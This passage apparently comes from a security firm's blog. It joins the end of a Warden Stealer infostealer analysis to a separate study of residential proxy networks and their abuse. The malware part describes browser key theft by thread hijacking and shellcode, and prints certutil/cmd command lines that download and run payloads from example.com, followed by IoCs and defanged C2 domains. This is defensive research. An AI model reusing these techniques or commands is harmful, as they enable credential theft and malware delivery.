However, libc++ also supports an <a href="https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxx/+/97b436da4c33663581d394f4ee0a5977fc38c2f4/include/__vector/layout.h#82">alternative size-based layout</a> of <code>std::vector</code>, in which the <code>begin</code> pointer is followed by integer <code>size</code> and <code>capacity</code> fields instead of two additional pointers. Notably, Warden Stealer’s filtering logic appears to account for this variant as well: if the <code>begin</code> pointer passes the alignment check but the second <code>qword</code> does not equal <code>begin + 32</code>, the stealer falls back to checking whether the <code>qword</code> itself equals <code>32</code>. It then requires the third <code>qword</code> to have no bits set other than <code>0x20</code>, effectively accepting only <code>0</code> or <code>32</code>. A <code>begin</code> pointer followed by two values of <code>32</code> thus describes the same <code>key_</code> vector (a 32-byte buffer with a capacity of 32 bytes) but in its size-based representation. The complete filtering logic is shown in Figure 23.

The collected candidates (the <code>begin</code> pointers of the identified <code>key_</code> vectors, each presumably pointing to an encrypted <code>v20_master_key</code>) are then sorted, deduplicated, and tested one by one. For each candidate, Warden Stealer reads the 32 bytes it points to and stages them in the target browser process alongside a short shellcode stub. To run the stub, it hijacks one of the browser’s existing threads by suspending it, saving its original context, and redirecting its instruction pointer to the shellcode. Once resumed, the shellcode stub invokes <code>CryptUnprotectMemory</code> on the staged buffer with the <code>CRYPTPROTECTMEMORY_SAME_PROCESS</code> flag (similar to Remus, which likewise injects a small shellcode into the browser to perform exactly this call). Because the decryption happens in place, Warden Stealer simply polls the buffer and compares it against the original encrypted bytes. If the contents differ, it treats the result as a recovered <code>v20_master_key</code>.

<h3>C2 Communication</h3>
Each Warden Stealer build comes with its own hardcoded set of C2 domains embedded directly in the binary. An individual build typically contains between one to five domains, with any additional ones serving as fallback endpoints in case a server becomes unavailable.
These domains are protected by a dedicated obfuscation scheme, separate from the general-purpose string decoder, with each entry stored as a one-byte XOR key, a pointer to the encoded domain, and the encoded domain’s byte length. Notably, these three fields can appear in any order, likely as a result of the malware’s morphing.

The actual communication with the C2 server is handled over HTTPS and relies on a custom binary format. Before being sent, each record is serialized, XOR-obfuscated with a build-specific byte, and prefixed with a frame tag. The resulting frame is then compressed using LZNT1 and wrapped with a header containing its uncompressed length, a 16-byte build marker, and optional metadata.

Using this format, Warden Stealer first sends a registration request carrying a fingerprint of the infected system that includes the machine’s hardware identifier, CPU and memory details, OS version, display configuration, username, locales, and installed software. In response, the server returns the stealer’s dynamic configuration, which is XOR-obfuscated with the same build-specific byte as the outgoing records but, unlike them, is not LZNT1-compressed. If the exchange fails or the response contains no valid configuration, Warden Stealer falls back to the next C2 domain in the list. Once a valid configuration is obtained, Warden Stealer collects data according to the configured feature flags and collection rules and uploads the stolen data to the C2 server in batches.
An example of Warden Stealer’s dynamic configuration is available on our <a href="https://github.com/gendigitalinc/ioc/blob/master/WardenStealer/extras/warden_stealer_configuration.bin">GitHub</a>.
<h3>Execution of Additional Payloads</h3>
In addition to its stealing capabilities, Warden Stealer can download and execute additional payloads from URLs supplied in its dynamic configuration. For each URL, it constructs a destination path under <code>%TEMP%</code> and downloads the file there using the <code>certutil.exe -urlcache -split -f "&lt;URL&gt;" "&lt;destination&gt;"</code> command. The destination filename is derived from the <code>GetTickCount</code> value, formatted as eight zero-padded lowercase hexadecimal digits, followed directly by the URL’s zero-based position in the configuration list. The extension is selected by checking the URL text preceding any query string or fragment for <code>.msi</code>, <code>.bat</code>, or <code>.cmd</code>, with <code>.exe</code> used otherwise. Based on the selected extension, the payload is launched in one of the following ways:
<ul>
<li>
MSI: <code>msiexec.exe /i "&lt;destination&gt;" /qn /norestart</code>
</li>
<li>
BAT/CMD: <code>cmd.exe /c "&lt;destination&gt;"</code>
</li>
<li>
EXE (default): the downloaded file is executed directly
</li>
</ul>
To carry out both the download and the execution steps, Warden Stealer leverages the <code>Shell.Application</code> COM object (rather than calling <code>CreateProcess</code> directly). Through its <code>IShellDispatch2</code> interface, it invokes the <a href="https://learn.microsoft.com/en-us/windows/win32/shell/ishelldispatch2-shellexecute">ShellExecute</a> method to launch <code>cmd.exe</code> with a hidden window (<code>SW_HIDE</code>). The arguments passed to <code>cmd.exe</code> combine the <code>certutil</code> download command with the appropriate payload invocation, chained with <code>&amp;&amp;</code>, so the payload is launched only if the download succeeds (or more precisely, if <code>certutil</code> returns a successful exit code).
The following examples illustrate the resulting command lines, assuming <code>%TEMP%</code> is <code>C:\Users\user\AppData\Local\Temp</code>, <code>GetTickCount</code> returns <code>0x1337</code> for each item, and the URLs appear in the configuration in MSI, BAT, and EXE order:
<ul>
<li>
MSI: <code>cmd.exe /c certutil.exe -urlcache -split -f "https://example.com/payload.msi" "C:\Users\user\AppData\Local\Temp\000013370.msi" &amp;&amp; msiexec.exe /i "C:\Users\user\AppData\Local\Temp\000013370.msi" /qn /norestart</code>
</li>
<li>
BAT: <code>cmd.exe /c certutil.exe -urlcache -split -f "https://example.com/payload.bat" "C:\Users\user\AppData\Local\Temp\000013371.bat" &amp;&amp; cmd.exe /c "C:\Users\user\AppData\Local\Temp\000013371.bat"</code>
</li>
<li>
EXE: <code>cmd.exe /c certutil.exe -urlcache -split -f "https://example.com/payload.exe" "C:\Users\user\AppData\Local\Temp\000013372.exe" &amp;&amp; "C:\Users\user\AppData\Local\Temp\000013372.exe"</code>
</li>
</ul>
<h2>Summary</h2>
Warden Stealer has rapidly emerged as one of the most prevalent infostealers we protect our users from, ranking on par with Amatera, Remus and Vidar. Written in Rust, it combines broad data-stealing capabilities with a dedicated custom loader and a built-in cryptocurrency clipper. It is actively developed and has been promoted on underground forums since August 2026, although we have been tracking its first builds since early May 2026.
In this blog post, we showed how our investigation linked the malware we previously tracked as CallbackBeaver to Warden Stealer. This attribution draws on similarities between the analyzed samples and the authors’ public statements in underground forum posts and an interview, including details about the development timeline and loader and clipper capabilities.
We also described a variety of the stealer’s obfuscation techniques and anti-VM checks, as well as its approach to bypassing Application-Bound Encryption to steal sensitive information from Chromium-based browsers. Notably, Warden Stealer is one of the first stealers actively targeting locally installed AI agents to exfiltrate access and refresh tokens, prompt histories, credentials stored in MCP configurations, and other sensitive developer-related information, highlighting the shift we have recently observed in the infostealer landscape.
<h2>Indicators of Compromise (IoCs)</h2>
A complete, much more extensive, IoC list is available on our <a href="https://github.com/gendigitalinc/ioc/tree/master/WardenStealer">GitHub</a>.
<h3>Warden Loader SHA-256 (Non-exhaustive)</h3>
006510ce1da2b7410376f0788c19e55616eb4bcc30072d25b7d0871dc32aa11c
0d727a4ef1178e767afdd0080ba1ebda0f24ac52b639f0501021affd8f88d26a
63959ef6309cd01b5d3c7262a3a41394dca2db2dc74bd030a517b7e23a2c3fef
77c8266935bc040c992ab70abd402bd203b9c12e7548c80b84fd21308c250f0e
77cc246272f2af21b64bbc6c6173d57affee97eb0ccf747d89492d06d4c52865
abcc49cd8a9b08a18ad9e516ec13350e01a05f04f1c5e025080e1c0e3b4bec36
b855f6883391e25f1a91692bef76771065b4b0436a014de5b25aa9d0de6238e4
dd1c3b2bfe32b41902ffe875e568f52f44f0900209b9cb447c9ae4444a5dce4e
ea9debbe4b3d11bf6c986af63a94e13ceb2a1cbc167a642697fcabc9e8a50439
ff85bb43e546fac541443006878828c47958c1d55dfa32c529651bfcc12832f1
<h3>Warden Stealer SHA-256 (Non-exhaustive)</h3>
04beeb716a79661ea770138558dbdebccb493bf6b4b1ec37f19b9c028dea98d5
159b472e0e0bdc05933da64032761cbd042b6cc5dc4e1cd11d5ef7af5180b972
3d0794fca8ae2ca80eee463b11557d696c48c8ddf17f5e2917cc33fbf0596842
51bc797e783b6a765e174736ff12a711a243099f4e19739388e5bce1548a448d
5b6ec081f385d91273a79c6645cd0f932539dc267863e5d243657a8ccb5ca351
6e47d6da0e2ab2226ee033e75c7b9b41e4e908d6f71b47d0ce7477a492fb418e
a396ccfb5547f04cef4be18ed076bb2c62c571268306d201b6177188f05723f1
cc1f2ae885d317e6c520ea6d219370630c1c7a8fe600b89d0d78fdee28174ff4
e62b24142e7244573cf37cef55b175fbba6a43ac4592d30f8b061dda8866c9b3
fea9538084b70e9681fd8104b9319792c4d8c2701ae145ec31dc26e7526f2ae0

<h3>Extracted Warden Stealer C2 Domains (Non-exhaustive)&nbsp;</h3>backtoblack7[.]com&nbsp; berff3788[.]com&nbsp; bobroviysmex[.]shop&nbsp; bomboclat[.]rest&nbsp; brodyagup[.]com&nbsp; culture-shock[.]club&nbsp; diseazhjw[.]cloud&nbsp; dojaekrt[.]cc&nbsp; dojaekrt[.]forum&nbsp; dojaekrt[.]trade&nbsp; erifytrtr1[.]vip&nbsp; ggresp[.]com&nbsp; hotelcalifornia[.]club&nbsp; hroffice[.]work&nbsp; incoming[.]rent&nbsp; jgkawdq[.]cloud&nbsp; kaiangelsystems[.]rest&nbsp; kaifdlyaw[.]com&nbsp; kaliop-weda[.]club&nbsp; konradkerz40000[.]work&nbsp; library2000[.]com&nbsp; luqiuid91[.]com&nbsp; macfilecloud8[.]com&nbsp; matie-bal[.]club&nbsp; modicontools[.]com&nbsp; nextlanding[.]net&nbsp; nweenwew234[.]cc&nbsp; patduggan[.]com&nbsp; pianolovers[.]club&nbsp; piska-sosidka-govno[.]asia&nbsp; plainhorizon[.]org&nbsp; publisher99[.]com&nbsp; rabbids-sixseven[.]cc&nbsp; recap-check[.]org&nbsp; rocks56[.]com&nbsp; rrrrrrrfffff[.]club&nbsp; russianaltushkawantdickinside[.]club&nbsp; sfgiantslive[.]com&nbsp; skibidiclipper[.]pw&nbsp; skibidiproliv[.]com&nbsp; skibidistealer[.]team&nbsp; systemformating[.]rest&nbsp; verifytrtr[.]vip&nbsp; vlad-nazarenko2004[.]club&nbsp; web03-azureupdate[.]com&nbsp; webex-028ue2[.]com&nbsp; wosback[.]cc&nbsp; zalupka[.]website&nbsp; zolotoy[.]club&nbsp; zxcwork[.]com&nbsp;

From Attribution to a Technical Breakdown of a Rust Infostealer

Warden Stealer: The Rapid Rise of an Infostealer with an Appetite for AI Agent Data

Security Evangelist at Gen

You install an app that offers a reward, a premium feature or perhaps a little money in exchange for sharing some of your unused internet bandwidth. It sounds harmless enough. Your connection is idle most of the time anyway.What may be less obvious is what that arrangement can mean in practice. Traffic from someone else can leave the internet through your home connection, using your residential IP address. To the website receiving that traffic, it can look as though the request came from you. And if that traffic is malicious or abusive, it is your home IP address that is associated with it.That is the basic idea behind a residential proxy. Businesses use them for perfectly legitimate purposes, from price monitoring and ad verification to web scraping and <a href="https://www.gendigital.com/blog/insights/research/the-ai-data-race">AI data collection</a>. But the model depends on something that is easy to overlook: every residential IP being sold has to belong to a real connection somewhere.We wanted to look at that side of the market.How many computers we protect are actually running software associated with residential proxy networks? Where are they? Which providers have the largest footprint? Are those residential proxy networks being misused?&nbsp;&nbsp;What kinds of threats are involved, and do they look the same from one provider to another?And before we looked at any of that, we asked an even more basic question: do people actually understand what they are agreeing to?

KEY TAKEAWAYS<ul type="disc"><li data-list-item-id="e725035ce634bc551d23eb087fcd37396">We blocked 20.8 million attacks associated with residential proxy ecosystems between January and mid-September 2026. Phishing was the most prominent threat classification, with 5.15 million blocked attacks, followed by 1.26 million involving malvertising.&nbsp;</li><li data-list-item-id="ec59d16726c7bd071fbc01940b1615690">The geography of malicious activity does not simply mirror the geography of residential proxy installations. The United States ranked only 10th in our September snapshot of active residential proxy software, with around 56,000 users, but 4th in blocked malicious activity, with more than 1.1 million attacks.&nbsp;</li><li data-list-item-id="e98fe79ebb34c1567cb95df881e50cfc9">The residential proxy footprint we observe is highly concentrated. Bright Data, Hola and NetNut account for around 94% of the active provider footprint in our Windows telemetry, although their geographic distributions differ substantially.&nbsp;</li><li data-list-item-id="ed7cfcec5f4de647ba0c48381878a0edc">There is no single residential proxy threat profile. Some provider ecosystems are dominated by phishing and malvertising, while others show much stronger associations with droppers, file infectors, worms or trojans.&nbsp;</li><li data-list-item-id="ebf754ed261a74226c83755f05a864955">Most US consumers do not really understand what residential proxies do. Only 8.8% of respondents correctly identified how they work, while 17.2% said they currently use an app that rewards them for sharing unused bandwidth. Once the behavior was explained, 76.5% said they would be concerned about third parties routing traffic through their home connection.&nbsp;</li></ul>

<h2>We started with the machines</h2>Our installation telemetry identified software associated with 18 residential proxy providers on active Windows systems we protect. The first thing that stood out was concentration. Bright Data, whose customers include NBCUniversal, Deloitte, and McDonalds, had by far the largest footprint, with an estimated 1.47 million active users in our September snapshot. Hola followed with approximately 664,000, and NetNut with around 474,000. After those three, the numbers fall quickly: Honeygain was at about 68,000 active users and Infatica at roughly 56,000, while no other provider in our current dataset reached 11,000.Taken together, Bright Data, Hola and NetNut account for roughly 94% of the combined provider footprint we observed. These numbers give us a view of the supply side, the computers that can contribute residential connectivity to these networks.

The geography is just as interesting. India had the largest combined residential proxy footprint in our snapshot, with approximately 294,000 active user observations. Vietnam followed at around 177,000, Ukraine at 132,000, Brazil at 131,000 and the Philippines at 97,000. The United States ranked tenth, at approximately 56,000.Individual providers have very different geographic fingerprints. Bright Data appeared across 153 countries and territories, with its largest concentrations in India, Vietnam and Brazil. Hola was also led by India and Vietnam. NetNut looked very different: Ukraine accounted for around 60,000 active users associated with its software, followed by India at around 34,000. Honeygain was strongest in Brazil and the Philippines, while Infatica was led by Ukraine and India. Residential proxy providers may sell access to a global pool, but the capacity underneath each network is not distributed in the same way.

<h2>Windows is only one part of the picture</h2>Our telemetry deliberately focuses on identifiable applications running on Windows that are associated with residential proxy networks. It does not attempt to measure proxy SDKs embedded inside other applications, nor devices running Android, smart TVs, routers or other connected hardware. The footprint in this research should therefore be read as the part of the ecosystem we can measure consistently, not as its total size.That wider ecosystem is not theoretical. In 2026, researchers at Spur examined more than 6,000 apps for LG webOS and Samsung Tizen smart TVs and found residential proxy SDKs in roughly a third of them. <a href="https://krebsonsecurity.com/2026/07/lg-to-ban-residential-proxies-from-smart-tv-apps/">LG</a> and <a href="https://techcrunch.com/2026/08/03/samsung-bans-smart-tv-apps-that-share-users-internet-connections-with-strangers/">Samsung</a> subsequently moved to restrict or remove apps containing residential proxy functionality from their TV platforms.&nbsp;Mobile connectivity extends the ecosystem beyond the Windows applications covered in this research. Residential and mobile proxy infrastructure can also be built using SIM cards and banks of cellular modems, providing IP addresses from mobile networks rather than fixed broadband connections. There are more advanced ways of extracting additional usable addresses from mobile connectivity too, but that is an area we would want to research separately before drawing conclusions.What we see on Windows is therefore not the residential proxy ecosystem. It is one window into it.<h2>Then came the security question: what is flowing through these networks?</h2>The presence of malicious traffic does not mean that a residential proxy provider is responsible for that activity. Legitimate infrastructure is routinely abused by bad actors, and larger networks naturally provide more opportunities for misuse. Our data shows what we observed and blocked through these networks, not that the providers themselves generated or knowingly enabled the activity.Mapping the software tells us where part of the residential proxy supply comes from, but it does not tell us how the networks are being used. We therefore looked at malicious traffic our protections blocked from the residential proxy providers in the study between January and mid-September 2026.The total was 20.8M distinct blocked attacks. Bright Data alone was associated with 17.336,419 of them, affecting 771,159 protected users (computers running the residential proxy through which the malicious traffic was routed). That is about 83% of all provider-level blocked attacks in this dataset. Honeygain was a distant second by attack volume, with 1,265,540 blocked attacks affecting 51,271 users. NetNut was associated with 789,668 attacks affecting 663,426 users, Tuxler with 571,810 attacks across 19,184 users, and Hola with 406,415 across 170,577 users.Those numbers are not a ranking of which provider is 'most dangerous'. A larger network has more opportunities to appear in telemetry, and the installation snapshot and the attack data cover different periods.&nbsp;Even within the affected population, repetition varies sharply. Bright Data averaged about 22.5 distinct blocked attacks per protected user over the period, Honeygain about 24.7 and Tuxler about 29.8.<h2>Phishing leads overall, but the threat mix varies</h2>When we group the blocked activity by threat type, phishing is the most prominent classification by a wide margin, appearing in more than 5.15 million provider-category attack observations. Malvertising follows at about 1.26 million, then trojans at roughly 667,000. E-shop scams account for around 388,000 category observations, file infectors for about 329,000 and droppers for more than 173,000.These categories overlap. A single malicious event can trigger more than one classification, so the category figures must not be added together or presented as pieces of a 100% distribution.&nbsp;

Bright Data accounts for most of the phishing volume in absolute terms. We blocked almost 4.63 million phishing-classified attacks associated with the network, affecting 523,696 protected users. Roughly 68% of all users we protected from Bright Data-associated attacks encountered at least one phishing-classified event. Malvertising affected another 314,784 users, trojans 182,422 and e-shop scams 165,007.Honeygain and Tuxler show a similar concentration in phishing and other web-based threats. Phishing affected around 33,600 Honeygain users, close to two-thirds of its protected population, while Tuxler had phishing detections for more than 15,000 of its 19,184 protected users, around 80%.Hola and NetNut look very different. Hola's leading classifications were worms, trojans and file infectors, affecting approximately 54,000, 50,000 and 45,000 protected users respectively. With NetNut, droppers affected around 88,700 protected users and file infectors around 76,700, while phishing was comparatively limited. Microleaves/Shifter also showed a strongly file-oriented profile, led by file infectors, droppers and adware.That variation is one of the more useful findings in the data. 'Residential proxy abuse' is often discussed as a single category, but the traffic we block does not look homogeneous. Different provider ecosystems are associated with substantially different mixes of phishing, scams and malware.<h2>Where we blocked the attacks</h2>India recorded the largest volume of blocked attacks associated with residential proxy ecosystems in our country-level data, at about 1.76 million. Brazil followed at roughly 1.50 million, Vietnam at 1.32 million, the United States at 1.14 million and France at just under 990,000. The next group included the Philippines, Indonesia, Poland, Spain and Ukraine.The geography of malicious traffic does not simply follow the size of the residential proxy footprint. The United States and France stand out in particular. The US ranked only 10th in our September snapshot of active residential proxy installations, with around 56,000 users, but 4th in blocked malicious activity, with more than 1.1 million attacks routed through residential proxy nodes there. France shows a similar pattern, with a relatively modest installation footprint but almost one million blocked attacks.One explanation is that residential IP addresses in Western markets are especially useful to attackers trying to blend in with the consumers or services they are targeting. Traffic coming from a US residential IP, for example, may look less unusual to a US service than the same request coming from a distant geography or a data center.&nbsp;

CASE STUDY: NETNUTWhat remains after a network is disruptedNetNut deserves separate treatment because events in 2026 changed the status of the network itself. NetNut is a subsidiary of Alarum Technologies, a publicly traded company listed on Nasdaq and the Tel Aviv Stock Exchange.&nbsp;<a href="https://www.sec.gov/Archives/edgar/data/1725332/000121390026075116/ea029701101ex99-1.htm">On July 2, Alarum disclosed</a> that the FBI had seized domains associated with NetNut.&nbsp;<a href="https://www.sec.gov/Archives/edgar/data/1725332/000121390026075179/ea029704201ex99-1.htm">Additional domains were subsequently seized, services were disrupted</a>, and Alarum later&nbsp;<a href="https://www.sec.gov/Archives/edgar/data/1725332/000121390026075170/ea029706002ex99-3.htm">announced a temporary pause</a> of traffic through the affected network services while it investigated the incident.<a href="https://cloud.google.com/blog/topics/threat-intelligence/google-continued-disruption-residential-proxy-networks">Google Threat Intelligence Group</a>, which took action in coordination with the FBI, Lumen and others, described NetNut as a residential proxy network also known as Popa. Google estimated it at least two million devices worldwide and said it observed 316 distinct threat clusters using suspected NetNut exit nodes during a single week in June, including cybercriminal and espionage groups. Google also said it had high confidence that many residential proxy brands were white-labeling the NetNut network.Legal and corporate consequences followed.&nbsp;<a href="https://www.sec.gov/Archives/edgar/data/1725332/000121390026089059/ea0301943-6k_alarum.htm">Alarum disclosed proceedings in Israel and a US class action complaint filed in New Jersey</a>. The company said it was reviewing the proceedings with its legal advisers and intended to defend itself vigorously. The claims in those proceedings are allegations, not established findings.Our telemetry adds a different piece to the story. In the first half of September, around two months after the law-enforcement action, we still observed software associated with NetNut on approximately 474,000 active Windows systems. At the same time, we did not observe corresponding NetNut proxy traffic from those installations. That is consistent with Alarum’s July announcement that traffic through the affected services had been paused.In other words, the software footprint remained, but the proxy activity did not. Domains can be seized quickly; software distributed across hundreds of thousands of computers does not disappear with them.

<h2>Confidence is much higher than understanding</h2>Against that telemetry, the results of our US survey become particularly revealing. In July 2026, we asked 1,000 adults what they knew about residential proxies and bandwidth sharing. At first glance, awareness did not look terrible: 13.9% said they understood what residential proxies were and how they worked, while another 13.2% said they had a basic idea. Combined, 27.1% believed they understood the technology to some degree.We then tested that understanding. Among the respondents who said they understood residential proxies, only 32.3% selected the correct explanation: that a residential proxy allows other people or companies to route internet traffic through a real user's home internet connection. Across the full sample, that leaves just 8.8% of US adults who both claimed some understanding and chose the correct definition.The terminology may be obscure, but the business model is more familiar. Some 17.2% of respondents said they currently use an app offering rewards, money, premium features or free access in exchange for sharing unused internet bandwidth, and another 12.2% said they had used one in the past. The survey was not designed to determine whether those specific apps were part of residential proxy networks, but the gap is striking: almost twice as many respondents said they currently use a bandwidth-sharing app as could correctly explain what a residential proxy does.

The mismatch becomes clearer when we describe the behavior rather than the industry term. Only 25.1% expected 'sharing unused bandwidth' to mean that other people or companies might access websites through their home IP address, while 26.0% understood that their device could appear to websites as the source of somebody else's internet activity. Almost a third, 31.6%, said they would not know what the phrase meant.When we asked how concerned people would be if an app allowed third parties to route internet traffic through their home connection, 76.5% said they would be very or somewhat concerned. Among that group, 55.5% worried about their home IP address being associated with suspicious or illegal activity, 51.5% about privacy, and 41.1% about accounts or services being blocked because suspicious traffic appeared to come from their IP address.Those fears line up closely with the reason residential proxies are useful in the first place. Traffic inherits the characteristics and reputation of an ordinary consumer connection. For legitimate customers, that can make large-scale data collection or geographic testing possible. For an attacker, the same property can make malicious activity harder to distinguish from normal residential traffic. Our telemetry does not tell us whether any particular survey respondent's connection was used that way, but the 20.8 million attacks we blocked show that malicious use of residential proxy infrastructure is far from theoretical.Asked whether they would install an app that allowed third parties to route traffic through their home connection in return for a small reward or free access, 53.4% said no. Another 26.7% said maybe, if the app was clear about what it did, and 20.0% said they definitely would. The survey covers US adults only, so these percentages should not be projected globally, but they underline a basic communication problem: 'share unused bandwidth' sounds very different from 'allow somebody else's traffic to leave the internet through your home IP address.'<h2>Consent, contracts and promises</h2>Residential proxy services have legitimate customers, and there are consumers who knowingly choose to exchange bandwidth for money, rewards or free services. The presence of residential proxy software on a machine, or even malicious traffic on a provider's network, does not by itself prove that a provider misled users or failed to enforce its policies.Consent is still more complicated than a checkbox. There may be a proxy customer, a proxy provider, an application developer embedding an SDK, the consumer whose device supplies the residential IP, and an internet service provider whose connection is ultimately being used. Each relationship can carry different promises and restrictions.Some residential ISP agreements, for example, explicitly restrict this kind of sharing. <a href="https://www.verizon.com/support/fios-customer-agreement/">Verizon's current Fios terms</a> state that subscribers may not resell, re-provision or rent the service, or allow third parties outside normal guest Wi-Fi use to use it, and tell customers they are responsible for opting out of connected-device features that would violate those terms. That does not mean residential proxy software automatically breaches an ISP contract; terms vary by provider, country and service. It does show that the consumer's click on an application consent screen may not be the only agreement that matters.The industry also makes broader promises around ethical sourcing, informed consent, customer vetting and abuse prevention. Those promises are increasingly becoming testable rather than purely rhetorical. In July, the <a href="https://www.amtso.org/news/amtso-testing-app-promises-guideline-paper-preprint-for-public-review/">Anti-Malware Testing Standards Organization, AMTSO, published a draft framework</a> for testing the explicit and implied promises made by applications and services. The draft has completed public review and is moving through final approval.Residential proxies are one of the <a href="https://www.amtso.org/wp-content/uploads/2026/07/AMTSO_App_Promises_Testing_Guidelines_Draft_For_Review.pdf">worked examples in the draft</a>. It specifically discusses testing claims around sourcing and consent, preventing abuse and misuse, protecting the consumer endpoint, and the fact that the paying proxy customer is not the same person as the consumer whose device or connection is being used. Gen participated in the working group that produced the draft.Our research is not a compliance test against that framework, and the presence of malicious activity is not evidence by itself that a provider has broken a promise. What our data does show is why those promises deserve scrutiny. When a business depends on millions of residential IP addresses and sells access to third parties, questions about where those endpoints came from, what users agreed to and what controls are in place are part of the security model, not just the marketing.<h2>Trust is no longer enough</h2>Residential proxies are not going away. If anything, the demand for them is likely to grow as AI companies, data businesses and automated agents need more ways to access the public web at scale without every request coming from a data center.That makes the questions around these networks more important, not less.A residential proxy provider can say that its endpoints are ethically sourced, that users have consented, that customers are vetted and that abuse is controlled. Those are reasonable promises to make. But once a network reaches millions of devices and carries traffic on this scale, they should also become promises that can be independently tested.Our data does not show that residential proxy networks are inherently malicious. It shows something more useful: legitimate infrastructure can still carry a substantial amount of malicious activity, the threat profile can vary enormously from one network to another, and the people supplying the residential connections often understand far less about the technology than the industry around them does.That creates responsibilities on both sides of the market.Customers buying residential access should care about where those IP addresses came from and what controls exist around the network they are using. Providers should be able to demonstrate how endpoints are sourced, what users agreed to, how abuse is detected and what happens when those controls fail. And consumers should be told, in language they can actually understand, what it means when an application asks them to "share unused bandwidth."The residential proxy industry has spent years making it easier to buy access to someone else's IP address.The next challenge is proving that everyone involved understands, and can trust, what happens after that access is sold.<h2>Methodology</h2><h3>Installation telemetry</h3>Gen Threat Labs developed telemetry to identify Windows software associated with selected commercial residential proxy providers. The installation data used in this research covers active systems observed between September 1 and September 15, 2026.The figures in the article are active-user populations derived from Gen telemetry. A computer had to be active and connected during the observation period to appear. User counts in the provider, software-path and country views used in the analysis are deduplicated within those views.The installation data represents the Gen Windows user population. It should not be interpreted as a census of every residential proxy endpoint worldwide or as a measure of commercial market share.Disclosure: Gen uses Bright Data proxy and browser infrastructure in some privacy and reputation services. Bright Data had no involvement in this research, and the findings are based on Gen Threat Labs telemetry and security detections.<h3>Malicious traffic</h3>The malicious-traffic analysis covers January through mid-September 2026 and focuses on attacks associated with the residential proxy providers included in the study.Protected users are unique users for whom Gen blocked at least one attack associated with a provider. Blocked attacks are deduplicated at the malicious-event level, so multiple detections triggered by the same event do not inflate the provider-level total.For the geographic view of malicious activity, country refers to the location of the residential proxy exit node.&nbsp;<h3>Appendix: Key telemetry data</h3>Installation telemetry in this appendix refers to Gen-protected Windows users on whose devices we observed software associated with residential proxy providers during the research period. These figures are not provider-reported user or installation counts.

A. Largest residential proxy provider footprints<table class="table"><tbody><tr><td>Provider</td><td>Active users</td></tr><tr><td>Bright Data</td><td>1.47M</td></tr><tr><td>Hola</td><td>664K</td></tr><tr><td>NetNut</td><td>474K</td></tr><tr><td>Honeygain</td><td>68K</td></tr><tr><td>Infatica</td><td>56K</td></tr><tr><td>SOAX</td><td>10K</td></tr><tr><td>IPRoyal</td><td>7.9K</td></tr><tr><td>Tuxler</td><td>6.3K</td></tr><tr><td>PacketStream</td><td>5.3K</td></tr><tr><td>TraffMonetizer</td><td>3.0K</td></tr></tbody></table>B. Countries with the largest combined residential proxy footprint<table class="table"><tbody><tr><td>Country</td><td>Active user observations</td></tr><tr><td>India</td><td>294K</td></tr><tr><td>Vietnam</td><td>177K</td></tr><tr><td>Ukraine</td><td>132K</td></tr><tr><td>Brazil</td><td>131K</td></tr><tr><td>Philippines</td><td>97K</td></tr><tr><td>Indonesia</td><td>89K</td></tr><tr><td>Poland</td><td>74K</td></tr><tr><td>Thailand</td><td>62K</td></tr><tr><td>Mexico</td><td>57K</td></tr><tr><td>United States</td><td>56K</td></tr></tbody></table>&nbsp;C. Leading install countries by provider<table class="table"><tbody><tr><td>Provider</td><td>No. 1</td><td>No. 2</td><td>No. 3</td></tr><tr><td>Bright Data</td><td>India</td><td>Vietnam</td><td>Brazil</td></tr><tr><td>Hola</td><td>India</td><td>Vietnam</td><td>Brazil</td></tr><tr><td>NetNut</td><td>Ukraine</td><td>India</td><td>Kazakhstan</td></tr><tr><td>Honeygain</td><td>Brazil</td><td>Philippines</td><td>India</td></tr><tr><td>Infatica</td><td>Ukraine</td><td>India</td><td>Philippines</td></tr><tr><td>SOAX</td><td>Uzbekistan</td><td>Kazakhstan</td><td>South Korea</td></tr><tr><td>IPRoyal</td><td>France</td><td>Netherlands</td><td>Belgium</td></tr><tr><td>Tuxler</td><td>Poland</td><td>Argentina</td><td>United Kingdom</td></tr><tr><td>PacketStream</td><td>India</td><td>Dominican Republic</td><td>Brazil</td></tr><tr><td>TraffMonetizer</td><td>Argentina</td><td>Philippines</td><td>Hong Kong</td></tr></tbody></table>&nbsp;D. Blocked attacks by provider ecosystem, top 5<table class="table"><tbody><tr><td>Provider ecosystem</td><td>Blocked attacks</td></tr><tr><td>Bright Data</td><td>17.3M</td></tr><tr><td>Honeygain</td><td>1.27M</td></tr><tr><td>NetNut</td><td>790K</td></tr><tr><td>Tuxler</td><td>572K</td></tr><tr><td>Hola</td><td>406K</td></tr></tbody></table>Absolute attack volume is influenced by network size and should not be interpreted as a ranking of provider risk.E. Most common threat classifications<table class="table"><tbody><tr><td>Threat category</td><td>Blocked attack observations</td></tr><tr><td>Phishing</td><td>5.15M</td></tr><tr><td>Malvertising</td><td>1.26M</td></tr><tr><td>Trojan</td><td>667K</td></tr><tr><td>Miscellaneous</td><td>408K</td></tr><tr><td>E-shop scam</td><td>388K</td></tr><tr><td>File infector</td><td>329K</td></tr><tr><td>Dropper</td><td>173K</td></tr><tr><td>Generic scam</td><td>113K</td></tr><tr><td>Worm</td><td>66K</td></tr><tr><td>Financial scam</td><td>47K</td></tr></tbody></table>&nbsp;F. Leading threat types by provider ecosystem<table class="table"><tbody><tr><td>Provider ecosystem</td><td>Leading type</td><td>Second</td><td>Third</td></tr><tr><td>Bright Data</td><td>Phishing</td><td>Malvertising</td><td>Trojan</td></tr><tr><td>Honeygain</td><td>Phishing</td><td>Malvertising</td><td>E-shop scam</td></tr><tr><td>NetNut</td><td>Dropper</td><td>File infector</td><td>Trojan</td></tr><tr><td>Tuxler</td><td>Phishing</td><td>Malvertising</td><td>Trojan</td></tr><tr><td>Hola</td><td>Worm</td><td>Trojan</td><td>File infector</td></tr><tr><td>Microleaves / Shifter</td><td>File infector</td><td>Dropper</td><td>Adware</td></tr><tr><td>IPRoyal</td><td>Phishing</td><td>E-shop scam</td><td>Malvertising</td></tr><tr><td>ByteLixir</td><td>Phishing</td><td>E-shop scam</td><td>Trojan</td></tr><tr><td>Infatica</td><td>Phishing</td><td>Spyware</td><td>File infector</td></tr></tbody></table>Types are ordered by the number of protected users associated with each classification.&nbsp;G. Countries with the largest volume of blocked attacks<table class="table"><tbody><tr><td>Country</td><td>Blocked attacks</td></tr><tr><td>India</td><td>1.76M</td></tr><tr><td>Brazil</td><td>1.50M</td></tr><tr><td>Vietnam</td><td>1.32M</td></tr><tr><td>United 